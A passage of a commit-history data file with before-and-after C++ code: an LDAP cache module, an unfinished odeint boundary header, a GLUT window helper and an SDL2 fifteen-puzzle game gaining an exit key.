msg;\n\t\t\tmsg << \"\\tLDAPDAICachePolicyModule::Load Unable to exec LDAP query for: \" << ldapDaAction << \"\\n\";\n\t\t\tSysLog::WriteToStderr(msg);\n\t\t}\n\t}\n\treturn (theResult);\n}\n\n\/\/---- LDAPDAICacheGetter ---------------------------------------------------------\nLDAPDAICacheGetter::LDAPDAICacheGetter(const String &dataAccess)\n\t: fDA(dataAccess)\n{\n\tStartTrace(\"LDAPDAICacheGetter.LDAPDAICacheGetter\");\n}\n\nLDAPDAICacheGetter::~LDAPDAICacheGetter()\n{\n\tStartTrace(LDAPDAICacheGetter.~LDAPDAICacheGetter);\n}\n\nbool LDAPDAICacheGetter::DoLookup(const char *key, ROAnything &result, char delim, char indexdelim) const\n{\n\tStartTrace(LDAPDAICacheGetter.DoLookup);\n\n\treturn Get(result, fDA, key, delim, indexdelim);\n}\n\nROAnything LDAPDAICacheGetter::GetAll(const String &dataAccess)\n{\n\tStartTrace1(LDAPDAICacheGetter.GetAll, dataAccess);\n\n\tCacheHandler *cache = CacheHandler::Get();\n\treturn cache->Get(\"LdapDAIGetter\", dataAccess);\n}\n\nbool LDAPDAICacheGetter::Get(ROAnything &result, const String &dataAccess, const String &key, char sepS, char sepI)\n{\n\tStartTrace1(LDAPDAICacheGetter.Get, key);\n\n\tbool ret = GetAll(dataAccess).LookupPath(result, key, sepS, sepI);\n\tTraceAny(result, \"Result:\");\n\treturn ret;\n}\n<commit_msg>changed PushPopEntry signature<commit_after>\/*\n * Copyright (c) 2005, Peter Sommerlad and IFS Institute for Software at HSR Rapperswil, Switzerland\n * All rights reserved.\n *\n * This library\/application is free software; you can redistribute and\/or modify it under the terms of\n * the license that is included with this library\/application in the file license.txt.\n *\/\n\n\/\/--- interface include --------------------------------------------------------\n#include \"LDAPDAICachePolicyModule.h\"\n\n\/\/--- standard modules used ----------------------------------------------------\n#include \"Dbg.h\"\n#include \"System.h\"\n#include \"SysLog.h\"\n#include \"DataAccess.h\"\n#include \"Action.h\"\n\n\/\/--- c-modules used -----------------------------------------------------------\n\n\/\/---- LDAPDAICachePolicyModule -----------------------------------------------------------\nRegisterModule(LDAPDAICachePolicyModule);\n\nLDAPDAICachePolicyModule *LDAPDAICachePolicyModule::fgLDAPDAICachePolicyModule = 0;\n\nLDAPDAICachePolicyModule::LDAPDAICachePolicyModule(const char *name) : WDModule(name)\n{\n\tStartTrace(LDAPDAICachePolicyModule.LDAPDAICachePolicyModule);\n}\n\nLDAPDAICachePolicyModule::~LDAPDAICachePolicyModule()\n{\n\tStartTrace(LDAPDAICachePolicyModule.~LDAPDAICachePolicyModule);\n}\n\nbool LDAPDAICachePolicyModule::Init(const ROAnything config)\n{\n\tStartTrace(LDAPDAICachePolicyModule.Init);\n\tROAnything LDAPDAICachePolicyModuleConfig;\n\tconfig.LookupPath(LDAPDAICachePolicyModuleConfig, \"LDAPDAICachePolicyModule\");\n\tTraceAny(LDAPDAICachePolicyModuleConfig, \"LDAPDAICachePolicyModule:\");\n\n\tROAnything dataAccesses(config[\"LDAPDAICachePolicyModule\"][\"LDAPDAIDataAccess\"]);\n\tROAnything dataAccessActions(config[\"LDAPDAICachePolicyModule\"][\"LDAPDAIDataAccessAction\"]);\n\tif ( dataAccesses.GetSize() == 0 && dataAccessActions.GetSize() == 0 ) {\n\t\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule::Init can't read needed configuration data.\\n\");\n\t\treturn false;\n\t}\n\tif ( InitialLoad(dataAccesses, LDAPDAICachePolicyModule::dataaccess, config.DeepClone()) \t== false ||\n\t\t InitialLoad(dataAccessActions, LDAPDAICachePolicyModule::action, config.DeepClone()) \t== false ) {\n\t\treturn false;\n\t}\n\tString failedDataAccesses;\n\tCheckContractIsFulfilled(failedDataAccesses, dataAccesses);\n\tCheckContractIsFulfilled(failedDataAccesses, dataAccessActions);\n\tif (failedDataAccesses.Length() != 0 ) {\n\t\tSysLog::WriteToStderr(String(\"\\tLDAPDAICachePolicyModule::LDAP Query: \") << failedDataAccesses <<\n\t\t\t\t\t\t\t String(\" returned no data.\\n\"));\n\t\treturn false;\n\t}\n\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule done\\n\");\n\treturn true;\n}\n\nbool LDAPDAICachePolicyModule::InitialLoad(const ROAnything dataAccesses, LDAPDAICachePolicyModule::EDataAccessType daType, const Anything &config )\n{\n\tStartTrace(LDAPDAICachePolicyModule.InitialLoad);\n\tCacheHandler *cache = CacheHandler::Get();\n\tbool ret(true);\n\tif (cache) {\n\t\tLDAPDAIDataAcccessLoader ldl(config);\n\t\tLDAPDAIActionLoader lal(config);\n\t\tAnything tmp;\n\t\tfor (int i = 0; i < dataAccesses.GetSize(); i++) {\n\t\t\tString toDo(dataAccesses[i].AsString());\n\t\t\tif ( daType == dataaccess ) {\n\t\t\t\tTrace(\"Loading ldl with: \" << toDo);\n\t\t\t\tcache->Load(\"LdapDAIGetter\", toDo, &ldl);\n\t\t\t}\n\t\t\tif ( daType == action ) {\n\t\t\t\tTrace(\"Loading lal with: \" << toDo);\n\t\t\t\tcache->Load(\"LdapDAIGetter\", toDo, &lal);\n\t\t\t}\n\t\t}\n\t} else {\n\t\tSysLog::WriteToStderr(\"\\tLDAPDAICachePolicyModule::InitialLoad: NoCacheHandlerFound\\n\");\n\t\tret = false;\n\t}\n\treturn ret;\n}\n\nbool LDAPDAICachePolicyModule::CheckContractIsFulfilled(String &failedDataAccesses, const ROAnything dataAccesses)\n{\n\tStartTrace(LDAPDAICachePolicyModule.CheckContractIsFulfilled);\n\tbool ret(true);\n\tfor (int i = 0; i < dataAccesses.GetSize(); i++) {\n\t\tString daToDo(dataAccesses[i].AsString());\n\t\tTrace(\"Checking with: \" << daToDo);\n\n\t\tROAnything result(LDAPDAICacheGetter::GetAll(daToDo));\n\t\t\/\/ broke contract: specified LDAP-query must return data\n\t\tif (result.IsNull()) {\n\t\t\tfailedDataAccesses.Append(daToDo);\n\t\t\tfailedDataAccesses.Append(\" \");\n\t\t\tret = false;\n\t\t}\n\t}\n\treturn ret;\n}\n\nbool LDAPDAICachePolicyModule::Finis()\n{\n\tStartTrace(LDAPDAICachePolicyModule.Finis);\n\n\tSysLog::WriteToStderr(\"\\tTerminating LDAPDAICachePolicyModule done\\n\");\n\treturn true;\n}\n\n\/\/--- LDAPDAIDataAcccessLoader -----------------------------------------------\nLDAPDAIDataAcccessLoader::LDAPDAIDataAcccessLoader() { }\nLDAPDAIDataAcccessLoader::LDAPDAIDataAcccessLoader(Anything config) : fConfig(config) { }\nLDAPDAIDataAcccessLoader::~LDAPDAIDataAcccessLoader() { }\nAnything LDAPDAIDataAcccessLoader::Load(const char *ldapDa)\n{\n\tStartTrace(LDAPDAIDataAcccessLoader.Load);\n\tAnything theResult(Storage::Global());\n\tContext ctx;\n\tContext::PushPopEntry<Anything> aEntry(ctx, \"LdapLoader\", fConfig);\n\n\tif (ldapDa != \"\") {\n\t\tDataAccess da(ldapDa);\n\t\tbool retCode = da.StdExec(ctx);\n\t\tAnything tmpStore(ctx.GetTmpStore());\n\n\t\tif (retCode && tmpStore[\"LDAPResult\"][ldapDa][\"NumberOfEntries\"].AsLong() > 0) {\n\t\t\ttheResult = tmpStore[\"LDAPResult\"][ldapDa][\"Entries\"];\n\t\t} else {\n\t\t\tString msg;\n\t\t\tmsg << \"\\tLDAPDAICachePolicyModule::Load Unable to exec LDAP query for: \" << ldapDa << \"\\n\";\n\t\t\tSysLog::WriteToStderr(msg);\n\t\t}\n\t}\n\n\tTraceAny(theResult, \"LDAP-Result for \" << ldapDa << \" cache.\");\n\treturn theResult;\n}\n\n\/\/--- LDAPDAIDataAcccessLoader -----------------------------------------------\nLDAPDAIActionLoader::LDAPDAIActionLoader() { }\nLDAPDAIActionLoader::LDAPDAIActionLoader(Anything config) : fConfig(config) { }\nLDAPDAIActionLoader::~LDAPDAIActionLoader() { }\n\nAnything LDAPDAIActionLoader::Load(const char *ldapDaAction)\n{\n\tStartTrace(LDAPDAIActionLoader.Load);\n\tAnything theResult(Storage::Global());\n\tContext ctx;\n\tContext::PushPopEntry<Anything> aEntry(ctx, \"LdapLoader\", fConfig);\n\tif (ldapDaAction != \"\") {\n\t\tAnything tmpStore = ctx.GetTmpStore();\n\t\tString transition;\n\t\tAnything config;\n\t\t\/\/ Default constructs an action config containing the name of the LDAPDAIDataAccess to execute\n\t\t\/\/ This may be overridden by the action implementing the DataAccess(es).\n\t\tconfig[ldapDaAction][\"DataAccess\"] = ldapDaAction;\n\t\tbool retCode = Action::ExecAction(transition, ctx, config);\n\t\tTrace(\"Result of DataAccess \" << ldapDaAction << \" is: \" << retCode);\n\t\t\/\/ Called Action *must* return results in slot [\"LDAPResult\"][ldapDaAction]\n\t\tTraceAny(tmpStore[\"LDAPResult\"][ldapDaAction], \"Returned: \" << ldapDaAction);\n\t\tif (retCode && tmpStore[\"LDAPResult\"][ldapDaAction][\"NumberOfEntries\"].AsLong() > 0) {\n\t\t\ttheResult = tmpStore[\"LDAPResult\"][ldapDaAction][\"Entries\"];\n\t\t\tTraceAny(theResult, \"Result of Load()\");\n\t\t} else {\n\t\t\tString msg;\n\t\t\tmsg << \"\\tLDAPDAICachePolicyModule::Load Unable to exec LDAP query for: \" << ldapDaAction << \"\\n\";\n\t\t\tSysLog::WriteToStderr(msg);\n\t\t}\n\t}\n\treturn (theResult);\n}\n\n\/\/---- LDAPDAICacheGetter ---------------------------------------------------------\nLDAPDAICacheGetter::LDAPDAICacheGetter(const String &dataAccess)\n\t: fDA(dataAccess)\n{\n\tStartTrace(\"LDAPDAICacheGetter.LDAPDAICacheGetter\");\n}\n\nLDAPDAICacheGetter::~LDAPDAICacheGetter()\n{\n\tStartTrace(LDAPDAICacheGetter.~LDAPDAICacheGetter);\n}\n\nbool LDAPDAICacheGetter::DoLookup(const char *key, ROAnything &result, char delim, char indexdelim) const\n{\n\tStartTrace(LDAPDAICacheGetter.DoLookup);\n\n\treturn Get(result, fDA, key, delim, indexdelim);\n}\n\nROAnything LDAPDAICacheGetter::GetAll(const String &dataAccess)\n{\n\tStartTrace1(LDAPDAICacheGetter.GetAll, dataAccess);\n\n\tCacheHandler *cache = CacheHandler::Get();\n\treturn cache->Get(\"LdapDAIGetter\", dataAccess);\n}\n\nbool LDAPDAICacheGetter::Get(ROAnything &result, const String &dataAccess, const String &key, char sepS, char sepI)\n{\n\tStartTrace1(LDAPDAICacheGetter.Get, key);\n\n\tbool ret = GetAll(dataAccess).LookupPath(result, key, sepS, sepI);\n\tTraceAny(result, \"Result:\");\n\treturn ret;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef HMLIB_ODEINT_INTERFERE_BOUNDARY_INC\n#\nnamespace hmLib {\n\tnamespace odeint {\n\t\t\n\n\t\ttemplate<typename state_type_>\n\t\tstruct sigmoid_boundary_diff{\n\t\t\ttemplate<typename functor>\n\t\t\tdouble sigmoid_zero_boundary(double x, functor dx, double boundary_error, double abs_error) {\n\t\t\t\tif (boundary_error < x)return dx(x);\n\n\t\t\t\tdouble v = dx(boundary_error);\n\t\t\t\tdouble dv = (dx(boundary_error + abs_error) - dx(boundary_error - abs_error)) \/ (2 * abs_error);\n\n\t\t\t\tdouble vk = v * 2;\n\t\t\t\tdouble va = dv * 4 \/ (vk + std::numeric_limits<double>::min());\n\n\t\t\t\tif (v>0) {\n\t\t\t\t\t\/\/\t\t\t\tdouble ans = vk \/ (1 + std::exp(-va*(x - boundary_error)));\n\t\t\t\t\treturn vk \/ (1 + std::exp(-va*(x - boundary_error)));\n\t\t\t\t}\n\n\t\t\t\tdouble ba = std::log(1 \/ boundary_error + 1) \/ boundary_error;\n\t\t\t\tdouble bk = -(vk \/ (1 + std::exp(-va*(0.0 - boundary_error)))) \/ (0.5 - (1 \/ (1 + std::exp(ba*(boundary_error)))));\n\t\t\t\tdouble bv = -bk \/ (1 + std::exp(ba*boundary_error));\n\n\t\t\t\t\/\/\t\t\tdouble ans = vk \/ (1 + std::exp(-va*(x - boundary_error))) + bk \/ (1 + std::exp(ba*x)) + bv;\n\n\t\t\t\treturn vk \/ (1 + std::exp(-va*(x - boundary_error))) + bk \/ (1 + std::exp(ba*x)) + bv;\n\t\t\t}\n\t\t};\n\t\tstruct float_lower_boundary {\n\t\t\tusing state_type = double;\n\t\tprivate:\n\t\t\tstate_type val;\n\t\t\tbool prev;\n\t\tpublic:\n\t\t\tfloat_lower_boundary(const state_type& val_) :val(val_) {}\n\t\t\tfloat_lower_boundary(state_type&& val_) :val(val_) {}\n\t\tpublic:\n\t\t\tvoid ready(const state_type& x) { prev = check(x); }\n\t\t\tbool valid_step(const state_type& x)const { return prev || !check(x); }\n\t\t\tbool validate(const state_type& x, state_type& vx) const {\n\t\t\t\tif (check(x)) {\n\t\t\t\t\tvx = val;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\tprivate:\n\t\t\tbool check(const state_type& x) const { return val >= x; }\n\t\t};\n\n\t\ttemplate<typename boundary_type_>\n\t\tstruct boundary {\n\t\t\tusing state_type = state_type_;\n\t\t\tusing time_type = time_type_;\n\t\tprivate:\n\t\t\tboundary_category bcat;\n\t\tpublic:\n\t\t\tvoid ready(const state_type& x) {\n\t\t\t\tbcat.ready(x);\n\t\t\t}\n\t\t\tbool valid_step(const state_type& x) {\n\t\t\t\treturn bcat.valid_step(x, t);\n\t\t\t}\n\t\t\tbool validate(const state_type& x, state_type& vx) {\n\n\t\t\t}\n\t\t\tbool on_boundary() {\n\n\t\t\t}\n\t\t\ttemplate<typename fn>\n\t\t\tvoid operator()(const state_type& x, state_type& dx, fn&& Fn) {\n\n\t\t\t}\n\t\t};\n\t}\n}\n#\n#endif\n<commit_msg>Fix boundary<commit_after>#ifndef HMLIB_ODEINT_INTERFERE_BOUNDARY_INC\n#\nnamespace hmLib {\n\tnamespace odeint {\n\t\tstruct bounadry_diff_mode {\n\t\t\tstruct always{};\n\t\t\tstruct step_base{};\n\t\t\tstruct never {};\n\t\t};\n\t\ttemplate<typename state_type_>\n\t\tstruct sigmoid_boundary_diff{\n\t\t\ttemplate<typename functor>\n\t\t\tdouble sigmoid_zero_boundary(double x, functor dx, double boundary_error, double abs_error) {\n\t\t\t\tif (boundary_error < x)return dx(x);\n\n\t\t\t\tdouble v = dx(boundary_error);\n\t\t\t\tdouble dv = (dx(boundary_error + abs_error) - dx(boundary_error - abs_error)) \/ (2 * abs_error);\n\n\t\t\t\tdouble vk = v * 2;\n\t\t\t\tdouble va = dv * 4 \/ (vk + std::numeric_limits<double>::min());\n\n\t\t\t\tif (v>0) {\n\t\t\t\t\t\/\/\t\t\t\tdouble ans = vk \/ (1 + std::exp(-va*(x - boundary_error)));\n\t\t\t\t\treturn vk \/ (1 + std::exp(-va*(x - boundary_error)));\n\t\t\t\t}\n\n\t\t\t\tdouble ba = std::log(1 \/ boundary_error + 1) \/ boundary_error;\n\t\t\t\tdouble bk = -(vk \/ (1 + std::exp(-va*(0.0 - boundary_error)))) \/ (0.5 - (1 \/ (1 + std::exp(ba*(boundary_error)))));\n\t\t\t\tdouble bv = -bk \/ (1 + std::exp(ba*boundary_error));\n\n\t\t\t\t\/\/\t\t\tdouble ans = vk \/ (1 + std::exp(-va*(x - boundary_error))) + bk \/ (1 + std::exp(ba*x)) + bv;\n\n\t\t\t\treturn vk \/ (1 + std::exp(-va*(x - boundary_error))) + bk \/ (1 + std::exp(ba*x)) + bv;\n\t\t\t}\n\t\t};\n\t\ttemplate<typename diff_type_,typename diff_mode_>\n\t\tstruct float_lower_boundary {\n\t\t\tusing state_type = double;\n\t\tprivate:\n\t\t\tstate_type val;\n\t\t\tbool prev;\n\t\tpublic:\n\t\t\tfloat_lower_boundary(const state_type& val_) :val(val_) {}\n\t\t\tfloat_lower_boundary(state_type&& val_) :val(val_) {}\n\t\tpublic:\n\t\t\tvoid ready(const state_type& x) { prev = check(x); }\n\t\t\tbool valid_step(const state_type& x)const { return prev || !check(x); }\n\t\t\tbool validate(const state_type& x, state_type& vx) const {\n\t\t\t\tif (check(x)) {\n\t\t\t\t\tvx = val;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\tprivate:\n\t\t\tbool check(const state_type& x) const { return val >= x; }\n\t\t};\n\n\t\ttemplate<typename boundary_type_>\n\t\tstruct boundary {\n\t\t\tusing state_type = state_type_;\n\t\t\tusing time_type = time_type_;\n\t\tprivate:\n\t\t\tboundary_category bcat;\n\t\tpublic:\n\t\t\tvoid ready(const state_type& x) {\n\t\t\t\tbcat.ready(x);\n\t\t\t}\n\t\t\tbool valid_step(const state_type& x) {\n\t\t\t\treturn bcat.valid_step(x, t);\n\t\t\t}\n\t\t\tbool validate(const state_type& x, state_type& vx) {\n\n\t\t\t}\n\t\t\tbool on_boundary() {\n\n\t\t\t}\n\t\t\ttemplate<typename fn>\n\t\t\tvoid operator()(const state_type& x, state_type& dx, fn&& Fn) {\n\n\t\t\t}\n\t\t};\n\t}\n}\n#\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD\n#define CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD\n\n#include <string>\n#include <GL\/glut.h>\n\ntemplate<typename window_traits>\nvoid setWindow(int& argc, char** argv)\n{\n glutInit(&argc, argv);\n glutInitWindowSize(window_traits::window_x_size,\n\t\t window_traits::window_y_size);\n glutCreateWindow(window_traits::window_name);\n return;\n}\n\nvoid setBackground()\n{\n glutInitDisplayMode(GLUT_RGBA);\t\n glClearColor(1.0, 1.0, 1.0, 1.0);\n return;\n}\n\n#endif \/* CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD *\/\n<commit_msg>edit to use glutSwapBuffers().<commit_after>#ifndef CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD\n#define CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD\n\n#include <string>\n#include <GL\/glut.h>\n\ntemplate<typename window_traits>\nvoid setWindow(int& argc, char** argv)\n{\n glutInit(&argc, argv);\n glutInitWindowSize(window_traits::window_x_size,\n\t\t window_traits::window_y_size);\n glutCreateWindow(window_traits::window_name);\n return;\n}\n\nvoid setBackground()\n{\n glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE);\t\n glClearColor(1.0, 1.0, 1.0, 1.0);\n return;\n}\n\n#endif \/* CELL_AUTOMATA_OPENGLWRAPPER_DRAWFIELD *\/\n<|endoftext|>"} {"text":"<commit_before>#include <cstdlib>\n#include <ctime>\n#include <iostream>\n#include <algorithm>\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n\nconst char game_name[] = \"barley-break\";\nconst int screen_width = 640;\nconst int screen_height = 480;\nconst int tile_size = 64;\nconst int font_size = 32;\nconst int pole_size = 4;\nconst int two_pole_size = pole_size * pole_size;\nconst int tile_shift_x = ( screen_width - pole_size * tile_size ) \/ 2;\nconst int tile_shift_y = ( screen_height - pole_size * tile_size ) \/ 2;\nconst short moves[8] = { -1, +0, +1, +0, +0, -1, +0, +1 };\nbool quit_flag = false;\n\nSDL_Window *window = NULL;\nSDL_Renderer *render = NULL;\nSDL_Event event;\nSDL_Texture *tile = NULL, *font = NULL;\n\nshort pole[pole_size][pole_size];\n\nvoid send_error( int code )\n{\n std::cout << SDL_GetError() << std::endl;\n exit( code );\n}\n\nvoid tile_draw( SDL_Renderer *r, SDL_Texture *tex, short id, int p )\n{\n SDL_Rect wnd = { 0, 0, tile_size, tile_size };\n SDL_Rect pos = { 0, 0, tile_size, tile_size };\n short x = p % pole_size;\n short y = p \/ pole_size;\n\n id = id != 16 ? 1 : 0;\n pos.x = x * tile_size + tile_shift_x; \n pos.y = y * tile_size + tile_shift_y;\n wnd.x = id * tile_size;\n SDL_RenderCopy( r, tex, &wnd, &pos );\n}\n\nvoid font_color( SDL_Texture *tex, Uint32 color )\n{\n SDL_SetTextureColorMod( tex, color >> 16, ( color >> 8 ) & 0xFF, color & 0xFF );\n}\n\nvoid font_draw( SDL_Renderer *r, SDL_Texture *tex, short text, int p )\n{\n SDL_Rect wnd = { 0, 0, font_size, font_size };\n SDL_Rect pos = { 0, 0, font_size, font_size };\n short x = p % pole_size;\n short y = p \/ pole_size;\n\n if ( text == 16 ) {\n return;\n }\n pos.x = x * tile_size + tile_shift_x + font_size \/ 2;\n pos.y = y * tile_size + tile_shift_y + font_size \/ 2;\n wnd.x = (text - 1) * font_size;\n SDL_RenderCopy( r, tex, &wnd, &pos );\n}\n\nvoid game_restart( void )\n{\n for ( short i = 0; i < two_pole_size; i++ ) {\n *( *pole + i ) = i+1;\n }\n for ( short i = 0; i < two_pole_size; i++ ) {\n short rnd_1 = rand() % two_pole_size;\n short rnd_2 = rand() % two_pole_size;\n if ( rnd_1 == rnd_2 ) {\n rnd_2 = (rnd_1 + 1) % two_pole_size;\n }\n std::swap( *(*pole + rnd_1), *(*pole + rnd_2) );\n }\n short incorrect = 0;\n for (short i = 0; i < two_pole_size; i++) {\n for (short j = i+1; j < two_pole_size; j++) {\n if (*(*pole + i) > *(*pole + j)) {\n incorrect ^= 1;\n }\n }\n }\n if (incorrect) {\n std::cout << \"OMG!!!\" << std::endl;\n game_restart();\n }\n}\n\nvoid game_event( SDL_Event *event )\n{\n SDL_PollEvent( event );\n switch ( event->type ) {\n case SDL_QUIT:\n quit_flag = true;\n break;\n case SDL_MOUSEBUTTONDOWN:\n switch ( event->button.button ) {\n case SDL_BUTTON_LEFT:\n short x = ( event->button.x - tile_shift_x ) \/ tile_size;\n short y = ( event->button.y - tile_shift_y ) \/ tile_size;\n for ( short i = 0; i < 8; i += 2 ) {\n short it_move = pole[y+moves[i+1]][x+moves[i+0]] == 16 && \n x + moves[i+0] < pole_size && x + moves[i+0] >= 0 &&\n y + moves[i+1] < pole_size && y + moves[i+1] >= 0;\n if ( it_move ) {\n pole[y+moves[i+1]][x+moves[i+0]] = pole[y][x];\n pole[y][x] = 16;\n } \n }\n break;\n }\n break;\n case SDL_KEYDOWN:\n short id = 0;\n for ( int i = 0; i < two_pole_size; i++ ) {\n if ( *(*pole + i) == 16 ) {\n id = i;\n }\n }\n short x = id % pole_size;\n short y = id \/ pole_size;\n switch ( event->key.keysym.sym ) {\n case SDLK_UP:\n case SDLK_w:\n if (y < 3) {\n pole[y][x] = pole[y+1][x];\n pole[y+1][x] = 16;\n }\n break;\n case SDLK_DOWN:\n case SDLK_s:\n if (y > 0) {\n pole[y][x] = pole[y-1][x];\n pole[y-1][x] = 16;\n }\n break;\n case SDLK_LEFT:\n case SDLK_a:\n if (x < 3) {\n pole[y][x] = pole[y][x+1];\n pole[y][x+1] = 16;\n }\n break;\n case SDLK_RIGHT:\n case SDLK_d:\n if (x > 0) {\n pole[y][x] = pole[y][x-1];\n pole[y][x-1] = 16;\n }\n break;\n case SDLK_r:\n game_restart();\n break;\n }\n break;\n }\n event->button.button = 0;\n event->key.keysym.sym = 0;\n}\n\nvoid game_loop( void )\n{\n short count = 0;\n\n for ( short i = 0; i < two_pole_size; i++ ) {\n if ( *( *pole + i ) == i+1 ) {\n count++;\n }\n }\n if ( count == two_pole_size ) {\n std::cout << \"GAME OVER: WIN!\\n\";\n game_restart();\n }\n}\n\nvoid game_render( void )\n{\n SDL_RenderClear( render );\n for ( short i = 0; i < two_pole_size; i++ ) {\n tile_draw( render, tile, *( *pole + i ), i );\n font_draw( render, font, *( *pole + i ), i );\n }\n SDL_RenderPresent( render );\n}\n\nvoid game_destroy( void )\n{\n SDL_DestroyTexture( tile );\n SDL_DestroyTexture( font );\n SDL_DestroyRenderer( render );\n SDL_DestroyWindow( window );\n SDL_Quit();\n}\n\nvoid game_init( void )\n{\n window = SDL_CreateWindow( game_name, SDL_WINDOWPOS_CENTERED, \n SDL_WINDOWPOS_CENTERED, screen_width, screen_height, SDL_WINDOW_SHOWN );\n if ( window == NULL ) {\n send_error( EXIT_FAILURE );\n }\n render = SDL_CreateRenderer( window, -1, SDL_RENDERER_ACCELERATED | \n SDL_RENDERER_PRESENTVSYNC );\n if ( render == NULL ) {\n send_error( EXIT_FAILURE );\n }\n tile = IMG_LoadTexture( render, \".\/images\/tiles.png\" );\n font = IMG_LoadTexture( render, \".\/images\/font.png\" );\n font_color( font, 0xf0c090 );\n srand( time( NULL ) );\n game_restart();\n}\n\nint main( int argc, char *argv[] )\n{\n Uint32 FPS_MAX = 1000 \/ 31; \/\/ 30 fps\n\n game_init();\n while ( quit_flag == false ) {\n game_event( &event );\n game_loop();\n game_render();\n SDL_Delay( FPS_MAX );\n }\n game_destroy();\n return EXIT_SUCCESS;\n}<commit_msg>[add] exit key<commit_after>#include <cstdlib>\n#include <ctime>\n#include <iostream>\n#include <algorithm>\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_image.h>\n\nconst char game_name[] = \"barley-break\";\nconst int screen_width = 640;\nconst int screen_height = 480;\nconst int tile_size = 64;\nconst int font_size = 32;\nconst int pole_size = 4;\nconst int two_pole_size = pole_size * pole_size;\nconst int tile_shift_x = ( screen_width - pole_size * tile_size ) \/ 2;\nconst int tile_shift_y = ( screen_height - pole_size * tile_size ) \/ 2;\nconst short moves[8] = { -1, +0, +1, +0, +0, -1, +0, +1 };\nbool quit_flag = false;\n\nSDL_Window *window = NULL;\nSDL_Renderer *render = NULL;\nSDL_Event event;\nSDL_Texture *tile = NULL, *font = NULL;\n\nshort pole[pole_size][pole_size];\n\nvoid send_error( int code )\n{\n std::cout << SDL_GetError() << std::endl;\n exit( code );\n}\n\nvoid tile_draw( SDL_Renderer *r, SDL_Texture *tex, short id, int p )\n{\n SDL_Rect wnd = { 0, 0, tile_size, tile_size };\n SDL_Rect pos = { 0, 0, tile_size, tile_size };\n short x = p % pole_size;\n short y = p \/ pole_size;\n\n id = id != 16 ? 1 : 0;\n pos.x = x * tile_size + tile_shift_x; \n pos.y = y * tile_size + tile_shift_y;\n wnd.x = id * tile_size;\n SDL_RenderCopy( r, tex, &wnd, &pos );\n}\n\nvoid font_color( SDL_Texture *tex, Uint32 color )\n{\n SDL_SetTextureColorMod( tex, color >> 16, ( color >> 8 ) & 0xFF, color & 0xFF );\n}\n\nvoid font_draw( SDL_Renderer *r, SDL_Texture *tex, short text, int p )\n{\n SDL_Rect wnd = { 0, 0, font_size, font_size };\n SDL_Rect pos = { 0, 0, font_size, font_size };\n short x = p % pole_size;\n short y = p \/ pole_size;\n\n if ( text == 16 ) {\n return;\n }\n pos.x = x * tile_size + tile_shift_x + font_size \/ 2;\n pos.y = y * tile_size + tile_shift_y + font_size \/ 2;\n wnd.x = (text - 1) * font_size;\n SDL_RenderCopy( r, tex, &wnd, &pos );\n}\n\nvoid game_restart( void )\n{\n for ( short i = 0; i < two_pole_size; i++ ) {\n *( *pole + i ) = i+1;\n }\n for ( short i = 0; i < two_pole_size; i++ ) {\n short rnd_1 = rand() % two_pole_size;\n short rnd_2 = rand() % two_pole_size;\n if ( rnd_1 == rnd_2 ) {\n rnd_2 = (rnd_1 + 1) % two_pole_size;\n }\n std::swap( *(*pole + rnd_1), *(*pole + rnd_2) );\n }\n short incorrect = 0;\n for (short i = 0; i < two_pole_size; i++) {\n for (short j = i+1; j < two_pole_size; j++) {\n if (*(*pole + i) > *(*pole + j)) {\n incorrect ^= 1;\n }\n }\n }\n if (incorrect) {\n std::cout << \"OMG!!!\" << std::endl;\n game_restart();\n }\n}\n\nvoid game_event( SDL_Event *event )\n{\n SDL_PollEvent( event );\n switch ( event->type ) {\n case SDL_QUIT:\n quit_flag = true;\n break;\n case SDL_MOUSEBUTTONDOWN:\n switch ( event->button.button ) {\n case SDL_BUTTON_LEFT:\n short x = ( event->button.x - tile_shift_x ) \/ tile_size;\n short y = ( event->button.y - tile_shift_y ) \/ tile_size;\n for ( short i = 0; i < 8; i += 2 ) {\n short it_move = pole[y+moves[i+1]][x+moves[i+0]] == 16 && \n x + moves[i+0] < pole_size && x + moves[i+0] >= 0 &&\n y + moves[i+1] < pole_size && y + moves[i+1] >= 0;\n if ( it_move ) {\n pole[y+moves[i+1]][x+moves[i+0]] = pole[y][x];\n pole[y][x] = 16;\n } \n }\n break;\n }\n break;\n case SDL_KEYDOWN:\n short id = 0;\n for ( int i = 0; i < two_pole_size; i++ ) {\n if ( *(*pole + i) == 16 ) {\n id = i;\n }\n }\n short x = id % pole_size;\n short y = id \/ pole_size;\n switch ( event->key.keysym.sym ) {\n case SDLK_ESCAPE:\n case SDLK_q:\n quit_flag = true;\n break;\n case SDLK_UP:\n case SDLK_w:\n if (y < 3) {\n pole[y][x] = pole[y+1][x];\n pole[y+1][x] = 16;\n }\n break;\n case SDLK_DOWN:\n case SDLK_s:\n if (y > 0) {\n pole[y][x] = pole[y-1][x];\n pole[y-1][x] = 16;\n }\n break;\n case SDLK_LEFT:\n case SDLK_a:\n if (x < 3) {\n pole[y][x] = pole[y][x+1];\n pole[y][x+1] = 16;\n }\n break;\n case SDLK_RIGHT:\n case SDLK_d:\n if (x > 0) {\n pole[y][x] = pole[y][x-1];\n pole[y][x-1] = 16;\n }\n break;\n case SDLK_r:\n game_restart();\n break;\n }\n break;\n }\n event->button.button = 0;\n event->key.keysym.sym = 0;\n}\n\nvoid game_loop( void )\n{\n short count = 0;\n\n for ( short i = 0; i < two_pole_size; i++ ) {\n if ( *( *pole + i ) == i+1 ) {\n count++;\n }\n }\n if ( count == two_pole_size ) {\n std::cout << \"GAME OVER: WIN!\\n\";\n game_restart();\n }\n}\n\nvoid game_render( void )\n{\n SDL_RenderClear( render );\n for ( short i = 0; i < two_pole_size; i++ ) {\n tile_draw( render, tile, *( *pole + i ), i );\n font_draw( 